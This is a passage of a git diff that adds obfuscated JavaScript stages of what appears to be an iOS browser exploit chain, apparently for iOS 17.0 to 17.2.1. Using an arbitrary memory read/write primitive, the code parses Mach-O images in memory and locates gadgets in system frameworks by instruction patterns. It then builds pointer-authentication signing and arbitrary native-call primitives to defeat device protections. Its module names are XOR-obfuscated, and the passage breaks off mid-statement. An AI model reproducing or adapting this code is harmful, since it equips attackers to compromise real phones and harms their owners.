globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +class nt { + constructor(r, n) { + this.Qo = r, this.images = n, this.rl = new or(), this.nl = new er(); + } + tl(...r) { + for (const n of r) + for (const r of this.images) + if (-1 !== r.path.indexOf(n)) return null === r.ol && (r.ol = rr.el(r.ll)), r.ol; + throw new Error("-1 === r.path.indexOf(n)"); + } + static il(r) { + const n = P.platformState.exploitPrimitive, + t = rr.il(r), + o = (() => { + const r = t.sl("__TEXT"); + if (null === r) throw new Error("null === r"); + return { + Qo: t.al - r.cl, + fl: t.al - r._l + }; + })(), + e = n.read32(o.fl + 0x1c0n), + l = n.read32(o.fl + 0x1c4n), + i = [], + s = o.fl + j(e); + for (let r = 0; r < l; r++) { + const e = S(n.read64(s + j(32 * r))) + o.Qo, + l = n.read32(s + j(32 * r) + 0x18n), + a = n.readString(o.fl + j(l), 1024); + i.push({ + path: a, + ll: e, + ol: t.al === e ? t : null + }); + } + return new nt(o.Qo, i); + } +} +r.ul = async function () { + const r = P.platformState.exploitPrimitive, + n = new Intl.DateTimeFormat(), + t = r.getObjectAddress(n), + o = r.read64(t + 0x18n), + e = S(r.read64(o)), + l = S(r.read64(e)), + i = nt.il(l); + P.platformState.Dn = i; +}; +class rr { + static il(r) { + const n = P.platformState.exploitPrimitive; + let t = r - r % 0x1000n; + for (; + 4277009103 !== n.read32(t);) t -= 0x1000n; + return rr.el(t); + } + static el(r) { + const n = P.platformState.exploitPrimitive, + t = n.read32(r + j(16)), + o = []; + let e = null, + l = null, + i = 32; + for (let s = 0; s < t; s += 1) { + const t = n.read32(r + j(i)), + s = n.read32(r + j(i) + j(4)); + switch (t) { + case 25:{ + const t = Object.create({ + Xe: n.readString(r + j(i) + j(8), 16), + cl: n.read64(r + j(i) + j(24)), + ml: n.read64(r + j(i) + j(32)), + _l: n.read64(r + j(i) + j(40)), + dl: n.read64(r + j(i) + j(48)), + hl: n.read32(r + j(i) + j(56)), + wl: n.read32(r + j(i) + j(60)), + flags: n.read32(r + j(i) + j(68)), + bl: void 0, + yl: (() => { + const t = n.read32(r + j(i) + j(64)), + o = new Array(t).fill(null); + for (const t in o) o[t] = { + name: n.readString(r + j(80 * t) + j(i + 72), 16), + cl: n.read64(r + j(80 * t) + j(i + 72) + 0x20n), + ml: n.read64(r + j(80 * t) + j(i + 72) + 0x28n), + _l: n.read64(r + j(80 * t) + j(i + 72) + 0x30n), + bl: void 0 + }; + return o; + })(), + xl(r) { + for (const n of this.yl) + if (n.name === r) return n; + return null; + } + }); + if ("__TEXT" === t.Xe) { + if (null !== l) throw new Error("null !== l"); + l = r - t.cl; + } + o.push(t); + break; + } + case 2147483682: + case 2147483699: + if (null !== e) throw new Error("null !== e"); + e = { + me: n.read32(r + j(i) + j(2147483682 === t ? 40 : 8)), + size: n.read32(r + j(i) + j(2147483682 === t ? 44 : 12)) + }; + } + i += s; + } + const s = {}, + a = []; + if (null === l) throw new Error("null === l"); + for (const r of o) { + r.bl = r.cl + l; + for (const n of r.yl) n.bl = r.cl + l; + r.Xe.length > 0 ? s[r.Xe] = r : a.push(r); + } + return new readInt64FromOffset(r, s, a, e); + } + constructor(r, n, t, o) { + const e = P.platformState.exploitPrimitive; + this.al = r, this.Al = n, this.Sl = t, this.Cl = (() => { + if (null === o) return null; + const r = n.__LINKEDIT; + if (void 0 === r) return null; + const t = r.bl + j(o.me) - r._l, + l = new Uint32Array(o.size + 3 >> 2); + for (let r = 0; r < l.length; r++) l[r] = e.read32(t + j(4 * r)); + return new readRawBigInt(l.buffer); + })(); + } + sl(r) { + const n = this.Al[r]; + return void 0 !== n ? n : null; + } + kl(r) { + if (null !== this.Cl) { + const n = this.Cl.Nn(r); + return null !== n ? this.al + j(n) : null; + } + throw new Error("null === this.Cl"); + } +} +class nr { + Nn(r) { + const n = new addrof(this.Tl); + let t = "", + o = !1; + for (; !o;) { + o = !0; + const e = n.El(); + if (0 !== e && r === t) { + const r = n.El(); + if (8 !== r && 16 !== r) { + return n.El(); + } + } + n.pl(e); + const l = n.gl(); + for (let e = 0; e < l; e += 1) { + const e = n.Il(0, 4132), + l = n.El(); + if (e.length > 0 && r.startsWith(t + e)) { + t += e, n.ue(l), o = !1; + break; + } + } + } + return null; + } + constructor(r) { + this.Tl = r; + } +} +class tr { + constructor(r) { + this.Fl = new Uint8Array(r), this.en = new DataView(r), this.Pl = 0; + } + pl(r) { + this.Pl += r; + } + ue(r) { + this.Pl = r; + } + gl() { + const r = this.Fl[this.Pl]; + return this.Pl += 1, r; + } + Il(r, n = 256) { + let t = ""; + for (let o = 0; o < n; o++) { + const n = this.gl(); + if (n === r) return t; + t += String.fromCharCode(n); + } + throw new Error("n === r not found"); + } + El() { + let r = 0, + n = 0; + for (let t = 0; t < (128); t += 1) { + const t = this.gl(); + if (r += (0x7f & t) << n, n += 7, 0 == (0x80 & t)) return r; + } + throw new Error("r += (0x7f & t) << n, n += 7, 0 == (0x80 & t) not found"); + } +} +class or { + constructor() {} + Ul(r) { + const n = P.platformState.exploitPrimitive, + t = r.vl.kl(r.Dl); + if (null !== t) + for (const o of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const e = r.Ll.sl(o); + if (null !== e) + for (let r = 0x0n; r < e.ml; r += 0x8n) { + const o = n.read64(e.bl + r); + if (S(o) === t) return o; + } + } + return null; + } + Bl(r) { + const n = P.platformState.exploitPrimitive, + t = r.ol.sl("__TEXT"); + if (null === t) return null; + const o = r.Ol; + for (const e of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const l = r.ol.sl(e); + if (null !== l) + for (let r = 0x0n; r < l.ml; r += 0x8n) { + const e = n.read64(l.bl + r), + i = S(e); + if (t.bl <= i && i <= t.bl + t.ml && this.Nl(i, o)) return e; + } + } + return null; + } + Kl(r, n, t = null) { + P.platformState.exploitPrimitive; + const o = r.sl("__TEXT"); + if (null === o) return null; + const e = o.bl; + let l = null !== t ? t - o.bl : 0x0n; + for (; l < o.ml;) { + const r = e + l; + if (this.Nl(r, n, !1)) return r; + l += 0x4n; + } + return null; + } + zl(r, n = 64) { + const t = P.platformState.exploitPrimitive, + o = r, + e = []; + let l = 0x0n; + for (; l < j(n);) { + const r = o + l, + n = t.read32(r); + if (0x14000000n === (0xfc000000n & j(n)) || 0x94000000n === (0xfc000000n & j(n))) { + const t = 4 * this.Hl(n); + e.push(r + j(t)); + } + l += 0x4n; + } + return e; + } + Rl(r, n, t = 64) { + P.platformState.exploitPrimitive; + const o = r; + let e = 0x0n; + for (; e < j(t);) { + const r = o + e; + if (this.Nl(r, n, !1)) return r; + e += 0x4n; + } + return null; + } + Hl(r) { + return r << 6 >> 6; + } + Nl(r, n, t = !0) { + const o = P.platformState.exploitPrimitive; + let e = 0; + const l = []; + for (const r of n) 0x90000000n === (0x9f000000n & j(r)) ? (l.push(0x9f00001fn), e += 1) : e > 0 && 0xf9400000n === (0xffc00000n & j(r)) ? l.push(0xffc003ffn) : 0x14000000n === (0xfc000000n & j(r)) || 0x94000000n === (0xfc000000n & j(r)) ? l.push(0xfc000000n) : l.push(0xffffffffn); + l.length !== n.length && W(); + let i = r; + for (const r in n) { + const e = o.read32(i); + if ((j(n[r]) & j(l[r])) != (j(e) & j(l[r]))) return !1; + if (!0 === t && 0x14000000n === (0xfc000000n & j(e))) { + const r = 4 * this.Hl(e); + i += j(r); + } else i += 0x4n; + } + return !0; + } + Ml(r, n = 768, t = null) { + const o = P.platformState.exploitPrimitive, + e = [], + l = new Array(32).fill(null); + let i = !1; + for (let s = 0; s < n; s += 4) { + const n = r + j(s), + a = j(o.read32(n)); + if (null !== t && a === t) { + i = !0; + break; + } + if (0xd65f0fffn === a || 0xd65f03c0n === a) { + i = !0; + break; + } + if (0x90000000n === (0x9f000000n & a)) { + const r = a << 8n >> 13n, + t = a >> 29n & 3n, + o = 0x1fn & a, + e = BigInt.asIntN(32, (r << 2n | t) << 12n); + l[o] = n - n % 0x1000n + e; + } else if (0xf9400000n === (0xffc00000n & a)) { + const r = a >> 5n & 0x1fn, + n = a >> 10n & 0xfffn, + t = l[r]; + null !== t && (e.push(t + 0x8n * n), l[r] = null); + } + } + if (!i) throw new Error("!i"); + return e; + } + Jl(r, n, t) { + P.platformState.Dn; + const o = P.platformState.exploitPrimitive, + e = n.sl("__DATA_CONST"); + if (null === e) throw new Error("null === e"); + let l = r; + const i = o.read32(r); + if (0x14000000n !== (0xfc000000n & j(i))) return !1; + const s = 4 * this.Hl(i); + l += j(s); + try { + const r = this.Ml(l, 768, 0xd4200020n); + if (2 != r.length) return !1; + const n = r[0]; + if (!(e.bl < n && n < e.bl + e.ml)) return !1; + const i = o.read64(n); + return o.readString(i, t.length + 48) === t; + } catch (r) { + return !1; + } + } + Gl(r, n, t) { + const o = P.platformState.Dn, + e = P.platformState.exploitPrimitive, + l = o.tl(r), + i = o.tl(n), + s = i.sl("__TEXT"); + for (const r of ["__AUTH_CONST", "__DATA_CONST", "__AUTH"]) { + const n = l.sl(r); + if (null !== n) + for (let r = 0x0n; r < n.ml; r += 0x8n) { + const o = e.read64(n.bl + r), + l = S(o); + if (s.bl <= l && l <= s.bl + s.ml && l % 0x4n === 0x0n && this.Jl(l, i, t)) return o; + } + } + throw new Error("Gl(r, n, t) failed"); + } +} +class er { + constructor() { + return this.jl = er.Xl(), this.Vl = {}, new Proxy(this, { + get: (r, n) => (n in this.Vl || (this.Vl[n] = this.jl[n]()), this.Vl[n]) + }); + } + static Xl() { + return { + Zl() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Ul({ + Dl: "_xmlSAX2GetPublicId", + vl: r.tl("libxml2.2.dylib"), + Ll: r.tl("libxml2.2.dylib") + }); + }, + ql() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "enet_allocate_packet_payload_default", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 2953777224, 4181814536, 2852193248, 3594455327, 2852127732, 3036676224, 2953777224, 4181816584, 3594455327, 4177529460, 2839641085, 2831306740, 3596554239], + ol: r.tl("/System/Library/PrivateFrameworks/RESync.framework/RESync", "/System/Library/PrivateFrameworks/RESync.framework/Versions/A/RESync") + }); + }, + Yl() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560)); + if (2 !== n.length) throw new Error("2 !== n.length"); + return n[0]; + }, + Wl() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560)); + if (2 !== n.length) throw new Error("2 !== n.length"); + return n[1]; + }, + $l() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_HTTPConnectionFinalize", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 4181729288, 3019899016, 4181726817, 2853372896, 3594455327], + ol: r.tl("/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils") + }); + }, + Ql() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_autohinter_iterator_begin", + Ol: [3019899074, 4181723203, 3019899011, 4181722176, 4181727298, 3592358015, 3596551104], + ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics") + }); + }, + ra() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_autohinter_iterator_end", + Ol: [3019899073, 4181725218, 3019899010, 4181722144, 4181727265, 3592357983, 3596551104], + ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics") + }); + }, + na() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.tl("libxml2.2.dylib").kl("_xmlHashScanFull"); + }, + ta() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Kl(r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), [3573752703, 2847694840, 2835437558, 2835501044, 2835577853, 2432746493, 2852324339, 2852258804, 2852127733, 1384120855, 1384120832, 1386079969, 1923956161, 2500362746, 2852127734, 2853503968, 2853569506, 2483610898, 4177527447, 2955245744, 4182113808, 3670090736, 4177527408, 2853569504, 2839772157, 2839695348, 2839631862, 2831441912, 3596554239]); + }, + oa() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.nl.ta), + t = r.rl.Ml(S(n), 116); + if (1 !== t.length) throw new Error("1 !== t.length"); + return t[0]; + }, + ea() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "cksqlcs_blobBindingValue:destructor:error:", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length) === i) return t; + } + throw new Error("ea() failed"); + }, + la() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "UUID", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return t; + } + throw new Error("la() failed"); + }, + ia() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "secondAttribute", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return r; + } + throw new Error("ia() failed"); + }, + sa() { + P.platformState.Dn, P.platformState.exploitPrimitive; + return P.platformState.Dn.rl.Gl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "secondAttribute"); + }, + aa() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.tl("/System/Library/Frameworks/Foundation.framework/Foundation").kl("_OBJC_CLASS_$_NSUUID")); + if (null === n) throw new Error("null === n"); + return n; + }, + ca() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_EdgeInfoCFArrayReleaseCallBack", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852193267, 2852127732, 4181722153, 4181723432, 3019899016, 4181721376, 4181721697, 3594455327, 2853438432, 2853372897, 2839641085, 2831306740, 3573752831, 3390965712, 3069182032, 3560476192, 335894792], + ol: r.tl("/System/Library/Frameworks/CoreMedia.framework/CoreMedia") + }); + }, + fa() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + [t, o] = (() => { + const t = r.tl("libdyld.dylib").sl("__DATA_DIRTY"); + if (null === t) return null; + const o = t.xl("__dyld4"); + if (null === o) return null; + const e = n.read64(o.bl + 8n), + l = n.read64(S(e)), + i = n.read64(S(l)); + return [e, rr.il(S(i))]; + })(); + if (null === o) throw new Error("null === o"); + return o; + }, + _a() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.nl.fa), + t = (() => { + const t = [null], + o = [3573752703, 2847898621, 2432697341, 4181721097, 3069706633, 3547382056, 3546332451, 3547449636, 2852258784, 2852652002, 2831252477, 3573752831, 3390965712, 3069182032, 3560476192]; + let e; + for (e = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104]; t.length > 0;) { + const l = r.rl.Kl(n, o, t.pop()); + if (null === l) continue; + t.push(l + 0x4n); + const i = r.rl.zl(l, 4 * o.length + 12); + for (const r in i) + if (2 !== i.length) continue; + if (null !== r.rl.Rl(i[0], e, 256)) return l; + } + return null; + })(); + if (null === t) throw new Error("null === t"); + const { + ua: o, + ma: e + } = (() => { + let o, e; + e = 0x10n, o = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104]; + let l = null; + for (;;) { + if (i = l, l = r.rl.Kl(n, o, i), null === l) return null; + if (l !== t) break; + l += j(0x4n * o.length); + } + var i; + if (null === l) return null; + return { + ua: l - 0x40n, + ma: { + pacda: l, + autia: l + 1n * e, + pacia: l + 2n * e, + autda: l + 3n * e + } + }; + })(); + if (null === o) throw new Error("null === o"); + if (null === e.pacda) throw new Error("null === e.pacda"); + if (null === e.ha) throw new Error("null === e.ha"); + if (null === e.pacia) throw new Error("null === e.pacia"); + if (null === e.autda) throw new Error("null === e.autda"); + return o; + }, + ba() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_dlfcn_globallookup", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 3531603968, 1384120353, 2483792040, 3019899136, 2852127732, 2853372897, 2487440593, 2852127731, 2853438432, 2483792025, 2853372896, 2839641085, 2831306740, 3596554239], + ol: r.tl("/System/Library/PrivateFrameworks/ActionKit.framework/ActionKit") + }); + }, + ya() { + const r = P.platformState.Dn.tl("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"); + if (null === r) throw new Error("null === r"); + return r; + }, + xa: () => P.platformState.Dn.nl.ya.kl("_jitCagePtr"), + Aa() { + const r = P.platformState.exploitPrimitive, + n = P.platformState.Dn.tl("/usr/lib/libxml2.2.dylib").kl("_xmlMalloc"); + return r.read64(n); + }, + Sa: () => P.platformState.Dn.nl.ya.kl("__ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE"), + Ca: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memset"), + ka: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memmove"), + Ta: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_malloc"), + Ea: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_free"), + pa: () => P.platformState.Dn.nl.ya.kl("__ZN3WTF10fastMallocEm") + }; + } +} +return r; \ No newline at end of file diff --git a/Stage2_17.0_17.2.1_seedbell.js b/Stage2_17.0_17.2.1_seedbell.js new file mode 100644 index 0000000..85c0ba6 --- /dev/null +++ b/Stage2_17.0_17.2.1_seedbell.js @@ -0,0 +1,563 @@ +let r = {}; +const x = globalThis.moduleManager.getModuleByName(([79, 77, 76, 72, 74, 72, 74, 76, 30, 76, 72, 74, 77, 67, 24, 27, 27, 30, 74, 31, 79, 77, 31, 76, 30, 67, 31, 25, 67, 73, 75, 72, 74, 25, 74, 28, 79, 72, 78, 77].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))), + P = globalThis.moduleManager.getModuleByName(([6, 3, 1, 1, 14, 84, 86, 4, 85, 6, 2, 6, 14, 85, 86, 5, 86, 15, 81, 3, 7, 85, 82, 5, 15, 0, 81, 1, 3, 1, 83, 3, 83, 0, 2, 14, 4, 82, 85, 7].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName(([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))); +r.ga = function() { + platformModule.platformState.exploitPrimitive, platformModule.platformState.Dn; + const t = new ht; + return platformModule.platformState.jn = t, platformModule.platformState.Zn = new wt, platformModule.platformState.Wn = t.Wn, platformModule.platformState.Wh = new mt, platformModule.platformState.Yh = new yt, new bt(t) +}; +class bt { + constructor(t) { + this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma + } + pacda(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.pacda(t.Nt(), s.Nt())) + } + pacia(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.pacia(t.Nt(), s.Nt())) + } + autda(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.autda(t.Nt(), s.Nt())) + } + autia(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.autia(t.Nt(), s.Nt())) + } + tc(t, s, i) { + return utilityModule.Int64.fromBigInt(this.tb.Wn.call({ + ab: t.Nt(), + sb: s.Nt(), + x1: i.Nt(), + x2: j(0), + ib: j(0), + bb: j(0) + })) + } +} +class ht { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + _a: t.nl._a + }, this.hb = { + lb: null + }, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.Wn = new _t, this.eb = new ft; + { + const s = t.nl.fa; + let i = 0x10n, + a = [(4294967296 + (1983344233 ^ -600347240)), (4294967296 + (1987535438 ^ -595631682)), (4294967296 + (1416452141 ^ -2123466446)), (758466393 ^ 959792981), (4294967296 + (1232029497 ^ -479247160)), (4294967296 + (1816545330 ^ -967947326)), (4294967296 + (1464628590 ^ -1920106625)), (929129290 ^ 593584962), (4294967296 + (1298547564 ^ -412729187)), (4294967296 + (1985099830 ^ -598066234)), (4294967296 + (1882801488 ^ -1522899953)), (1296199266 ^ 1497525862), (4294967296 + (1748591465 ^ -1036427112)), (4294967296 + (1266241889 ^ -512666991)), (4294967296 + (1832019044 ^ -1208784267)), (4294967296 + (2019640684 ^ -764393844)), (4294967296 + (1096169830 ^ -1761002842))], + h = null; + const e = i => t.rl.Kl(s, a, i); + for (;;) { + if (h = e(h), null === h) return null; + if (h !== this.Dn._a) break; + h += j(0x4n * a.length) + } + if (null === h) return null; + this.La = m.ot(h), this.Ga = m.ot(h + 1n * i), this.Xa = m.ot(h + 2n * i), this.Ma = m.ot(h + 3n * i) + } + } + nb(t, s, i) { + platformModule.platformState.Dn, platformModule.platformState.exploitPrimitive; + return null === this.hb.lb && (this.hb.lb = this.eb.call({ + ab: this.Dn._a + })), this.Wn.call({ + ab: this.hb.lb, + sb: s, + x1: i & j(0xffffffffffff), + x2: 1n, + ib: i >> 48n & 0xFFFFn, + bb: j(t) + }) + } + pacda(t, s) { + return this.nb(0, t, s) + } + pacia(t, s) { + return this.nb(1, t, s) + } + autia(t, s) { + return this.nb(2, t, s) + } + autda(t, s) { + return this.nb(3, t, s) + } + mb(t) { + return this.nb(1, this.Ga.Dt().Nt() + 0x8n, t) + } +} +class _t { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + na: t.nl.na + }, this.hb = { + cb: null + }, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.gb = new dt, this.eb = new ft + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive; + if (0 === t.sb || 0x0n === t.sb) throw new Error("0 === t.sb || 0x0n === t.sb"); + null === this.hb.cb && (this.hb.cb = this.eb.call({ + ab: this.Dn.na + })); + const i = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1] + ]], + [this._b, [ + [0, 0], + [8, t.x2], + [16, t.ib], + [24, t.bb], + [32, t.sb], + [40, 1] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + return this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: t.ab, + x2: t.x1 + }) + } +} +class dt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + Ql: t.nl.Ql, + ra: t.nl.ra + }, this.xb = s.allocZeroBuffer(80), this.pb = s.allocZeroBuffer(80), this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((863595386 ^ 863594618)), this.zb = s.allocZeroBuffer(80), this.Pb = new ut + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive, + i = [ + [this.wb, [ + [32, this.Dn.ql], + [8, this.zb], + [48, this.Tb] + ]], + [this.zb, [ + [16, j(7444609979)] + ]], + [this.Tb, [ + [64, 0], + [24, 0], + [(1163357514 ^ 1163357490), 0], + [(1934194544 ^ 1934194264), 0], + [(846489426 ^ 846489186), 0], + [(913862256 ^ 913862472), 0], + [(1365396346 ^ 1365396002), 0], + [(860322154 ^ 860321810), this.Dn.Ql], + [(1194341742 ^ 1194341862), 0], + [(1699829583 ^ 1699829455), t.x1], + [(1717913463 ^ 1717913343), this.xb], + [(1433486423 ^ 1433486791), j((1986159438 ^ 1789833090))] + ]], + [this.xb, [ + [16, t.ab], + [8, t.sb], + [48, t.x2] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + const a = s.read64(this.Dn.Yl), + h = s.read64(this.Dn.Wl); + try { + s.write64(this.Dn.Yl, this.Dn.$l), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb) + } finally { + s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h) + } + return s.read64(this.zb + 0x10n) + } +} +class ft { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + aa: t.nl.aa, + la: t.nl.la, + oa: t.nl.oa, + ea: t.nl.ea + }, this.Ab = null, this.Cb = s.allocZeroBuffer(32), this.Sb = new xt + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive; + null === this.Ab && (this.Ab = this.Sb.call({ + id: this.Dn.aa, + Ib: this.Dn.la + })); + const i = s.read64(this.Dn.oa); + try { + s.write64(this.Dn.oa, t.ab), this.Sb.call({ + id: this.Ab, + Ib: this.Dn.ea, + kb: this.Cb + 0x10n, + Hb: this.Cb + }) + } finally { + s.write64(this.Dn.oa, i) + } + return s.read64(this.Cb) + } +} +class xt { + constructor() { + const t = platformModule.platformState.Dn; + platformModule.platformState.exploitPrimitive; + this.Dn = { + sa: t.nl.sa, + ia: t.nl.ia + }, this.Ub = new gt + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive, + i = s.read64(this.Dn.ia); + try { + return s.write64(this.Dn.ia, t.Ib), this.Ub.call({ + ab: this.Dn.sa, + sb: t.id, + x2: t.kb, + ib: t.Hb + }) + } finally { + s.write64(this.Dn.ia, i) + } + } +} +class pt { + constructor() { + const t = platformModule.platformState.Dn; + platformModule.platformState.exploitPrimitive; + this.hb = { + Aa: t.nl.Aa + }, this.gb = new dt + } + call(t) { + return this.gb.call({ + ab: this.hb.Aa, + sb: t.size, + x1: 0x0n, + x2: 0x0n + }) + } +} +class gt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + ca: t.nl.ca, + ra: t.nl.ra + }, this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((927165042 ^ 927164498)), this.zb = s.allocZeroBuffer(80), this.Bb = null, this.Mb = s.allocZeroBuffer(80), this.jb = new pt, this.Pb = new ut + } + call(t) { + const s = platformModule.platformState.exploitPrimitive; + this.Bb = this.jb.call({ + size: 0x120n + }); + const i = [ + [this.wb, [ + [32, this.Dn.$l], + [8, this.Tb], + [48, 0] + ]], + [this.Tb, [ + [64, 0], + [24, 0], + [(1700884787 ^ 1700884811), 0], + [(1177906801 ^ 1177907033), 0], + [(929525865 ^ 929526105), 0], + [(1953592922 ^ 1953593186), 0], + [(894916447 ^ 894916103), 0], + [(1848669546 ^ 1848669202), this.Dn.ca], + [(895701328 ^ 895701464), 0], + [(962021488 ^ 962021872), this.Bb], + [(1783655782 ^ 1783655662), t.x2], + [(1110718567 ^ 1110718967), t.ib] + ]], + [this.Bb, [ + [0, t.sb], + [8, this.Mb] + ]], + [this.Mb, [ + [0, this.zb], + [16, this.Dn.ql] + ]], + [this.zb, [ + [16, 0x0bbb9999n] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + const a = s.read64(this.Dn.Yl), + h = s.read64(this.Dn.Wl); + try { + s.write64(this.Dn.Yl, t.ab), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb) + } finally { + s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h) + } + return 